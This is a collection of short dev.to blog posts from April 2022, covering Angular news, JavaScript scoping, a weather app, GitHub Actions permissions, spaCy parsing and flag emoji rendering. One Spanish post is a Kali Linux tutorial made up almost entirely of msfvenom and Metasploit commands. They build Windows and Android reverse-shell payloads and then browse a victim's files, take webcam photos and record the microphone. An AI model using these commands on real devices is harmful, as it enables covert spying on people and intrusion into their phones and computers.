teleren/devto huggingface dataset:
Ng-News: Issue 22/13
Tags: angular, javascript, programming, webdev
Published: 2022-04-04 19:23:57

This is a weekly posting, covering the latest updates from the Angular community.

{% youtube UTDhx-V7Ksk %}

## Minor version releases and #ngGames

### #ngGames

We had the monthly episode of #ngGames where Jeremy and Mark from the Angular team answered questions. The recording is available on YouTube.

{% youtube 74KdHqu3dA4 %}

### Chrome 100

Google released Chrome version 100 with new features for the DevTools.

{% youtube DAD72grzDDc %}

### NgRx 13.1

NgRx, a state management library, had a minor version upgrade to 13.1. It added two minor features for @ngrx/data and the Redux DevTools.

[NgRx 13.1 Release Notes](https://github.com/ngrx/platform/blob/master/CHANGELOG.md#1310-2022-03-28)


### JHipster & ngx-formly

And we also had minor version upgrades for not-so-well-known libraries like JHipster and ngx-formly.

[JHipster](https://www.jhipster.tech/) is a tool supporting full-stack development and includes Angular. 



[ngx-formly](https://formly.dev/) is a library for creating dynamic forms.

## JavaScript decorators in stage 3

TC39, the committee responsible for the standardization of JavaScript, moved decorators to Stage 3. So we will be able to use them in JavaScript very soon.

{% embed https://dev.to/hemanth/updates-from-the-89th-tc39-meeting-5bkf %}

[Explanation of TC39's stages](https://nitayneeman.com/posts/introducing-all-stages-of-the-tc39-process-in-ecmascript/#summary)

In TypeScript, decorators have been available since the beginning of Angular. This is because TypeScript and Angular had an agreement that TypeScript provides decorators, and Angular will use TypeScript and not their self-written extension AtScript.

## React 18

Important things happened outside of Angular. React 18 was released.

The main changes were in the inner workings of the rendering process.

In addition, React provides a streaming mechanism (called suspense) for Server-Side Rendering. So it doesn't render everything at once but can deliver larger components later and shows a fallback component instead.

Finally, one of the most awaited features, Server Components, are not part of the initial release.

Like Angular, backwards compatibility is essential for React as well. An upgrade shouldn't take too much time.

[React 18 Release](https://reactjs.org/blog/2022/03/29/react-v18.html)

{% youtube pj5N-Khihgc %}
Is coding a necessity in computer science???
Tags: codereview, computerscience, beginners, flaws
Published: 2022-04-04 19:20:43

**CODING**
The word coding is sometimes scary to many of the people.
Many a times people lose motivation while learning to code.

To be honest coding isn't something u can adopt easily as per convenience.

But really is coding necessary after choosing computer science as many of them later realize that might be its not their cup of tea.

In today's time there are many domains inside CS that gives you an opportunity to enter in a corporate world without the coding ability.

One just need to keep exploring until they get right one and don't fear to try a lot of them until you are satisfied.


> Inspiration doesn't always come the way you want it too , Keep exploring until u get the one which inspires you too work on yourself....
Building a healthy and sustainable habits
Published: 2022-04-04 19:09:33

Many thanks to Bruno Souza for sharing his neuro hacks on starting new and sustainable activities. 



For those who were not lucky enough to hear Bruno's thoughts on the topic, there is a book "In the Habit: Introduction to Changing our BehaviourBy: Ash Ranpura , Alice Fraser". https://lnkd.in/gCh_aAGX



The book is based on a number of books related to building habits.



The book can help you with studies, obtaining healthy habits and such. You can even use it to become a better software developer :)


#habits #efficiency #sustainableimprovement
GOOGLE DATA ANALYTICS
Tags: google, dataanalytics, career, computerscience
Published: 2022-04-04 19:05:59

I am data science student.Recently,I started exploring and learning about data analytics as I found it quite interesting and chose a course provided by google professional and i completed a 2 week journey of the course.

To be very kind , It'll also provide u the roadmap in this field and the expert who is teaching has a good explanation skills.
I may suggest everyone to go for the course if willing to learn data analytics.

The task they give on a regular basis are amazing and atlast they'll tell u how to get a job in this field....

To remember there's a vast difference between data science and data analytics and both have their own methods.
Comandos para acceder a la cámara y micrófono de una computadora y un celular👾 | KALI LINUX
Tags: tutorial
Published: 2022-04-04 19:02:38


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9w92k70vj54dhori4x86.png)



## Comandos Para Windows
```
ifconfig <--Para ver nuestra direccion ip

msfvenom -p windows/meterpreter/reverse_tcp LHOST="Dirección_IP_Kali" 
LPORT="Puerto_de_escucha" -f exe -o Nombre_del_archivo.exe
```

Para acceder a la consola de Metasploit
```
msfconsole
```
*METASPLOIT*
```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT Número-puerto
set LHOST Direccion-IP

show options <---Para verificar que todo esta en orden
exploit <--- Para ejecutar el virus
help <-- Para ver los comando que podemos utilizar
ls <--Para ver contenido de la carpeta de la personas
webcam_list <--- para ver que camaras estan disponibles
webcam_stream # <--para escoger la webcam que utilizaremos
webcam_snap <-- para tomar una fotografia de la persona
record_mic -d # <-- para grabar el microfono por una cantidad de segundos
exit <-- para salir
```


## Comandos Para Android
```
msfvenom -p android/meterpreter/reverse_tcp LHOST="Dirección_IP_Kali" 
LPORT="Puerto_de_escucha" -o $Ruta/Nombre_del_archivo.exe
```

Para acceder a la consola de Metasploit
```
msfconsole
```

*METASPLOIT*
```
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST Direccion-IP
set LPORT Número-puerto
show options <---Para verificar que todo está en orden
exploit <--- Para ejecutar el virus
help <-- Para ver los comando que podemos utilizar
webcam_list <--- para ver que cámaras están disponibles
webcam_stream # <--para escoger la webcam que utilizaremos
record_mic -d # <-- para grabar el micrófono por una cantidad de segundos
```
Day-58 Training At Ryaz
Tags: webdev, beginners, programming, javascript
Published: 2022-04-04 19:00:21

Date:4/02/2022
Day:Monday

Today, I started at about 1 pm in the afternoon as I was stuck with some work so, I started late as I was done with my given task i.e crud app so, I was to start with another work but before it I was left with one of the module of the course of crud app so, I started with it and it was about test driven development so, I started with it and it was all about how to make a separate file and test with it and to observe that all operations are working in it and after this I was done with my all of the task so, I had a meet with my mentor so, he suggested to move towards the learning of java script so, he provided with certain Udemy course so, I started with it today I have done first module in it the instructor started with how to set it up and start working with java script and basic program to print hell world with java script. so, this way my day ended up and learnt many new concepts.
Phase 1 Project: Weather App
Published: 2022-04-04 18:57:26

The Project for phase 1 at Flatiron School had the following requirments:
1. The web app that you are creating needs to be a single page application.

2. The app must be created using html/css/js that accesses data from a pubic api. The api must be handled asynchronously and use JSON.

3. You need to use at least 3 event listeners.

So, these are the rules. Seems challenging, you just learned these new concepts and you are thrown in a situlation where you need to make something with them. The hardest part for me was finding an API. I looked at API’s that tell dad jokes to APIs that have data about cocktails. I didn’t know what app to make with them. Luckly, I found a weather API called openWeatherMap. It tells you the current weather of every place in the world. You just need to create an account on their site and they will give you an API key. I chose the basic free version.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/stjyaj10elun3xlfvxz0.png)

I decided to make a simple weather app. At the search bar, users would enter a city, click on the submit button and basic information would appear.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8llyncpjp6sayw99wthh.png)

After users entered a city name, it would persent new content into the screen. The way I fetch the api was that it would get the JSON data for only the city the user was looking for. This new content on the top has the city’s name, an image of the current weather. Followed by the temperture and how it feels like outside. If you notice there’s text that says “**More Details**”. If a user clicks on it then they would get extra information about the weather in that city.  

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hbpdwl5xi49a66veozua.png)

The “**More Details**” is treated like a button that toggles. It’s like a switch that shows the extra information and hiddens it the second time you click on it. 

Check it out for yourself
[weather-app github](https://github.com/rusty619/weather-app)
New Mac Setup
Tags: devenvironment
Published: 2022-04-04 18:56:08

I got the new MacBook Pro 14" recently. 

The MacBook Air I got back in 2013 was starting to show its age finally with a quickly draining battery, limited available storage, and even the speed was starting to become noticeable. I got a LOT done on that machine: learned to code, built a startup, made some funky side projects. It was an expensive purchase for me back in the day, but well worth the cost.

You absolutely are not required to code on a Mac (well, unless you're an iOS developer), but they are nice machines and the industry caters well to them. It feels a little like a splurge in the moment here too, but now I am a professional and I expect to get a LOT done on this machine too.

Setting up your dev environment is either exciting or a chore when you get a new machine depending on how you feel about it, but it is necessary to set yourself up for success.

Here is a fantastic run-through for how to set up your Mac: [Mac Setup for Web Development [2022]](https://www.robinwieruch.de/mac-setup-web-development/)

I didn't follow every step exactly, but it is a great list to look through improvements to your Mac even if you've had it for a while.

Some new services I'm using as a result:

- [Oh My Zsh](https://ohmyz.sh/) for terminal commands
- [Bitwarden](https://bitwarden.com/) password manager that works great with your Mac and phone
- [Brave Browser](https://brave.com/compare/chrome/) trying it out for the reasons in the article
- [Rectangle](https://rectangleapp.com/) window manager (previously I liked SizeUp)
Scoping In JavaScript
Published: 2022-04-04 18:53:05

In JavaScipt, scoping is the able of accessing variables. Back in the day, you could only use the keyword “var” to declare a variable. It was a terrible practice of declaration. When variables are declared with the keyword “**var**”, it can’t have a block scope. For example, when declaring a variable inside a {} block, it can also be accessed outside of the {} block.
ex:
```javascript
{
   var a = 1;
}
// a can be used here
```


Meaning you could of created a variable inside of the block and declare the same variable locally. Both of these variables would of modified the variable.
To fix this problem, JavaScript introduced two new keywords: “**let**” and “**const**”. “**let**” is used to declare a variable inside a block scope. “**const**” keyword is used when you don’t want the variable to change it’s value after it was declared.

The two ways of scoping is **Global scope** and **Function Scope**. Any variable declared outside of a function can be used Globally. These variables can be accessed from anywhere in the file.
ex:
```javascript
let x = 0 // Global Scope
```
A variable declared inside a function aren’t accessible or in other words, visible from outside the function. This is known as **function scope**. It is accessible only within the scope of the function.
ex:
```javascript
function x(){
   let y = 1 // Function Scope
}
```
A lesson from a 2 years old
Published: 2022-04-04 18:51:32


A lesson from a 2 years old

Q: What can a 2 years old teach a 40 years old person?
A: A lot.

I have been struggling lately with my studies and I need to study a lot.

That made me think. I tried planning my studies using my calendar, but it didn't really work for me.

A week ago I realised that a “2 years old” approach might be used. Who taught me that? My 2 years old son :) 

Basically the idea is to use any pause for playing toys to study/practice something. The key is to make sure you are prepared for that “any pause”, so you can study/practice more or less efficiently. 

Another important key is to consider the environment. 

If I am in the park helping my son to fall asleep, I can listen to a podcast from Codurance (if my son gets asleep, of course). Podcasts and audiobooks are the only option in the park, as I need to keep walking a lot.


If I am at work, taking a cuppa - I will read a book on pair programming on my Kindle. I will not listen to the audio, as it can be done at the park.


Being at home is the most flexible time for me, so I might use those “time pauses” for coding, as it is not something I can easily do at work or at the park..

If I am driving - I will concentrate on driving. Being a driver is a very wrong “environment for studies” in my case, as my potential driving mistakes might impact other people in a very negative way.


Well, it all sounds good in theory. Let me try it for a few weeks more and see how it goes :)

Many thanks to Bruno Souza for inspiration and to Codurance for their amazing podcast https://www.codurance.com/publications/tag/podcasts 

#efficientstudies #workingtogerther #softwareengineering
GitHub Actions: Fixing the 'Permission Denied' error for shell scripts
Tags: github, devops, ci, bash
Published: 2022-04-04 18:40:35

---
title: "GitHub Actions: Fixing the 'Permission Denied' error for shell scripts"
published: true
description: How to run a bash script in a GitHub Action.
tags: GitHub, DevOps, CI, Bash
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g4viqu90rqe3mrrg222g.png
canonical_url: https://aileenrae.co.uk/blog/github-actions-shell-script-permission-denied-error
---

Ever encountered this frustratingly vague "Permission denied" error when trying to run a bash script in an GitHub action workflow? 😡

![Screenshot from GitHub's 'Actions' tab showing a build error: 'Permission denied' when trying to run a shell script](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g4viqu90rqe3mrrg222g.png)

"Permission denied" means that your script file does not have the "execute" permission set. On Mac and Linux you can use the `chmod` command to make script files executable, but Windows does not support this.

## How to fix it

Luckily, Git offers a command that works with Windows. Run:

```bash
git update-index --chmod=+x your_script.sh
```

locally to make the bash script executable. Once you commit and push the change to your GitHub repository the script will be allowed to run in your GitHub action. 🎉

**NB:** you will need to run this command then commit and push the change to GitHub for any bash script you create or rename on a Windows machine in order for it to run in a GitHub action.

## How to run a bash script in a GitHub action

_**That's great Aileen, but how do I even add a script to a GitHub action?**_

Here is an example action which runs a `your_script.sh` script on commit to the `main` branch of your repository.

```yaml
# https://gist.github.com/aileen-r/f74e680fb47ebc8b29a9f1cc452a5da9

# This is a basic workflow to help you get started with Actions

name: Run a shell script

# Controls when the workflow will run
on:
  # Triggers the workflow on push but only for the main branch
  push:
    branches: [ main ]
    
# A workflow run is made up of one or more jobs that can run sequentially or in parallel
jobs:
  # This workflow contains a single job called "build"
  build:
    # The type of runner that the job will run on
    runs-on: ubuntu-latest

    # Steps represent a sequence of tasks that will be executed as part of the job
    steps:
      # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it
      - uses: actions/checkout@v2

      # Runs a single command using the runners shell
      - name: Run shell script
        run: ./your_script.sh

```

If you're new to GitHub actions, GitHub has [an excellent quickstart guide](https://docs.github.com/en/actions/quickstart).
Dependency parsers in Natural Language Processing (NLP)
Tags: machinelearning, spacy, datascience, textanalysis
Published: 2022-04-04 18:24:54


Dependency parsers are a type of tools that help you analyze sentences for their grammatical structure.

They let us break down a sentence into its components and find any words or phrases that are related.

Dependency parsers are looking for "head" words. They analyze how those headwords depend on other words and in particular, when one word modifies or changes another. 

The open-source library spacy is a great tool for many different kinds of natural language processing tasks like dependency parsing. It includes an excellent dependency parser, and you may want to check out Stanford CoreNLP too.

If we apply dependency parsing on the sentence “They are driving fast”, we get the following nice diagram:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g7qn2mii5i9eirmnd1u5.png)

The arrows indicate that the word “fast” modifies the word "driving" with the nature of their relation described by special tags. In this specific case it is advmod.

Here are some other possible modifiers:

    acl: clausal modifier of noun (adjectival clause)
    advcl: adverbial clause modifier
    amod: adjectival modifier
    appos: appositional modifier

The above diagram was generated with this code: 
	
`import spacy
from spacy import displacy
 
nlp = spacy.load("en_core_web_sm")
doc = nlp("They are driving fast.")
displacy.serve(doc, style="dep")
`

If you could would like to play with dependency parsing without having to spin up your own jupyter notebook or other code, you can use this online tool: 

https://explosion.ai/demos/displacy?text=They%20are%20driving%20fast&model=en_core_web_sm&cpu=1&cph=1

Here is an example of diagram created with this online tool: 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8lmgse3uz2951cmgoxsr.png)

Where do we use dependency parsing

Dependency parsing is used in many fields of NLP, some of them are:

    grammar checking
    information extraction
    website categorization
    aspect based sentiment analysis
    named entity recognition
    product categorization
    question answering
    trending products analysis
    document summarization
Quick note: nixpkgs (pkg manager) vs asdf (shell) vs gitpod (docker) for putting finishing touches on dev env reproducibility
Tags: gitpod, devex
Published: 2022-04-04 18:20:54

Nixpkgs let you specify exact versions for all your system dependencies and build tools, but it does not support a lot of languages

Asdf provides a language agnostic general version manager (as opposed to nvm, rbenv, etc). It supports a number of popular languages.

Gitpod let's you develop against remote servers with a docker image with your build tools preinstalled.

I like gitpod the most because the dev envs are more ephemeral, easier to share, but I may try asdf.
Flag Emoji rendering issue on google chrome | React JS
Tags: react, javascript, webdev
Published: 2022-04-04 17:56:34

I was developing common react component for selecting country code for phone number input. In the testing I have observed that Flag emojis are getting rendered on Firefox browser but in google chrome it wasn't the same case. In google chrome its not able to render flag emoji based on the string.

In Google Chrome It was getting rendered like following image.![Rendering on google](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/44705um3ugig6agkzr58.png)

And In Firefox It was getting rendered like following image.

![rendering on fire](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/npgs5q08wqt4t66ayy5a.png)

After going through some stack overflow and other articles get to know that it depends on the OS and sometimes the browser. In Apple platforms it renders the flag and in the windows platforms it shows two-letter country codes.

Can refer this stack overflow question's answer.

> https://stackoverflow.com/questions/54519758/flag-emojis-not-rendering
 
So came up with 2 solutions to  overcome this issue in my React JS Code.

## First Solution (this solution is also available in stackoverflow question's link I have shared above).
Need to find All two letters country code and replace it with image from FlagCDN.

Snippet to convert two-letter country code to png image:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k1vnulkmes1iro0kwall.png)
 

snippet to replace all occurence of two-letter country code to png
"var reg = new RegExp('(?:\ud83c[\udde6-\uddff]){2}', 'g');
    document.body.innerHTML = document.body.innerHTML.replaceAll(reg, flagemojiToPNG);"


## Second Solution

For this I have used React-select library to create dropdown.
First Of all have created Data source for the select dropdown.

"{
      label: ` ${item.attributes.name} (${
        item.id
      }) +${item.attributes.country_code}`,
      value: `${item.attributes.country_code}`,
      emojiFlag: item.attributes.emoji_flag
    };"
Structure of my array's object was like above.
Label:  To showcase Label with country name, country code(numeric).
Value: this is supposed to be the value of dropdown
emojiFlag: two-letter country code.

Utilised above created function to convert two-letter country code to flag image.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r2rbkenjl5hibomlvsgz.png)
 

To render country code select Dropdown:

<Select
          style={this.props.style}
          options={this.state.dataSource}
          formatOptionLabel={data => (
            <>{this.flagemojiToPNG(data.emojiFlag)}  {data.label} 
            </>
          )}
          placeholder={this.state.placeHolder}
          onChange={}
          value={}
          isDisabled={}
        />
I have used formatOptionLabel property to render image flg.
what is semantic tag ?
Published: 2022-04-04 17:48:54

 HTML is basically a markup language,
Everything is shown on the web site through this markup language,
Before the advent of HTML Five, everything was done by imagining a dev, before that it was done with a table, dev had a problem with which navbar, which header, which footer, nothing was understood. So to solve this problem, HTML Five Bring semantic tag,
Maybe we as developers could understand which header is which footer but it would be a problem for search engine,
So to solve the problem, HTML Five is bringing semantic tag by which these problems are solved,
And for this reason, it is well understood by search engines.
Below are some semantic tags:
article
aside
details
footer
header